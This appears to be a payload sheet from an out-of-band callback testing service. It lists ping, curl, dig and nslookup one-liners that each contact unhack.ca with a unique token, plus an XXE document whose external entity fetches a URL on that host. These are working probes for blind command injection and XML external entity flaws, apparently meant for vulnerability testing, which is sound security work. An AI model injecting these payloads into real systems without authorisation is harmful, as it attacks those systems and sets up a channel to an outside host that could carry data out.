$ ping -c1 -p 007c82daec65c6e4de78d041c0033d00 unhack.ca
 

$ curl http://unhack.ca/p/7c82daec65c6e4de78d041c0033d
 

$ dig 7c82daec65c6e4de78d041c0033d @unhack.ca
 

$ dig 7c82daec65c6e4de78d041c0033d.ns.unhack.ca
 

C:\> nslookup 7c82daec65c6e4de78d041c0033d unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7c82daec65c6e4de78d041c0033d">]>
    <foo>&xxe;</foo>